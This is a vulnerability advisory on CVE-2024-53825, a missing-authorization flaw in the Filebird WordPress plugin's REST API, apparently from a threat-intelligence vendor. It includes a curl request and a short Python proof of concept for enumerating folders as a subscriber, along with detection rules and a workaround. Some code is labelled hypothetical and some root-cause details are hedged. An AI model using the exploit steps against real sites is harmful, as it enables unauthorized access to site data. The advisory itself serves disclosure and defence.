CVE-2024-53825

Executive Summary

CVE-2024-53825 is a Missing Authorization vulnerability in the Ninja Team Filebird WordPress plugin, affecting all versions up to and including 6.3.2. This flaw allows authenticated attackers (with subscriber-level access or higher) to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to file management features and data exposure. The vulnerability resides in the plugin's REST API endpoints, which fail to properly verify user capabilities before executing sensitive operations.

As a WordPress plugin, this issue is part of the broader WordPress ecosystem and does not involve Apache or Nginx directly. The plugin is widely used for media library organization, making this a supply chain risk for WordPress sites.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. No NPM, PyPI, Go, or Ruby packages are involved. However, site administrators should verify the integrity of their plugin installations and monitor for unauthorized modifications.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the low privileges required and the potential for data exposure. While not critical, the vulnerability can be chained with other flaws to escalate impact.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the Filebird plugin's REST API routes. The plugin registers custom endpoints for file operations (e.g., listing, moving, deleting files) but does not enforce proper capability checks. Specifically, the rest_api_init hook registers routes without verifying the edit_posts or upload_files capability, allowing any authenticated user to interact with the file management system.

Root Cause: The plugin uses current_user_can() inconsistently or not at all in certain callback functions. For example, the get_folders endpoint may return all folders without checking if the user has permission to view them.

Attack Scenario:

1. An attacker registers as a subscriber on a WordPress site.
2. The attacker sends crafted HTTP requests to the vulnerable REST API endpoints.
3. The plugin processes the request without proper authorization, exposing folder structures and file metadata.

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.3.2):

// In class-rest-api.php
register_rest_route('filebird/v1', '/folders', array(
    'methods' => 'GET',
    'callback' => array($this, 'get_folders'),
    'permission_callback' => '__return_true' // Missing capability check
));

Patched Code (Hypothetical):

register_rest_route('filebird/v1', '/folders', array(
    'methods' => 'GET',
    'callback' => array($this, 'get_folders'),
    'permission_callback' => function() {
        return current_user_can('upload_files'); // Proper authorization
    }
));

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Filebird plugin <= 6.3.2
• Valid subscriber account credentials

Exploitation Steps:

1. Authenticate to WordPress and obtain a nonce or cookie.
2. Send a GET request to the vulnerable endpoint:

curl -X GET "https://target.com/wp-json/filebird/v1/folders" \
  -H "Cookie: wordpress_logged_in_<hash>=<session_cookie>"

3. The response will contain folder data without proper authorization.

Proof-of-Concept (Python):

import requests

target = "https://target.com"
session = requests.Session()
session.post(f"{target}/wp-login.php", data={
    "log": "subscriber_user",
    "pwd": "subscriber_pass"
})

response = session.get(f"{target}/wp-json/filebird/v1/folders")
print(response.json())

Blue Team

Detection:

• Monitor for unusual REST API requests to /wp-json/filebird/v1/* from low-privilege users.
• Alert on multiple folder enumeration attempts within a short timeframe.

Hunting:

• Search logs for filebird/v1/folders with HTTP 200 responses from non-admin users.
• Correlate with user registration events.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-json/filebird/v1/folders from authenticated sessions with subscriber role.
• File: Unauthorized access to wp-content/uploads/filebird/ directory listings.
• Log: WordPress debug logs showing rest_api_init calls without capability checks.

Detection Engineering

YARA Rule

rule CVE_2024_53825_Filebird_Auth_Bypass {
    meta:
        description = "Detects vulnerable Filebird plugin code with missing authorization"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-53825"
    strings:
        $vuln_func = "permission_callback" ascii wide nocase
        $vuln_true = "__return_true" ascii wide nocase
        $rest_route = "register_rest_route" ascii wide nocase
    condition:
        $rest_route and $vuln_func and $vuln_true
}

Sigma Rule

title: CVE-2024-53825 Filebird REST API Authorization Bypass
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthorized access to Filebird REST API endpoints
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "/wp-json/filebird/v1/"
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin usage
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-53825 Filebird REST API Authorization Bypass";
    flow:to_server,established;
    content:"/wp-json/filebird/v1/"; http_uri;
    pcre:"/filebird\/v1\/(folders|files|attachments)/";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict user registration to prevent unauthorized subscriber accounts.
3. Implement Web Application Firewall (WAF) rules to block requests to /wp-json/filebird/v1/* from non-admin users.

Long-term Fix:

• Apply the vendor patch when available (currently unpatched).
• Replace the plugin with an alternative that has proper authorization checks.

Workaround:

• Add custom code to functions.php to enforce capability checks:

add_filter('rest_pre_dispatch', function($result, $server, $request) {
    if (strpos($request->get_route(), 'filebird/v1') !== false) {
        if (!current_user_can('upload_files')) {
            return new WP_Error('rest_forbidden', 'Access denied', array('status' => 403));
        }
    }
    return $result;
}, 10, 3);

Valters IT
DevSecOps & Cyber Threat Intelligence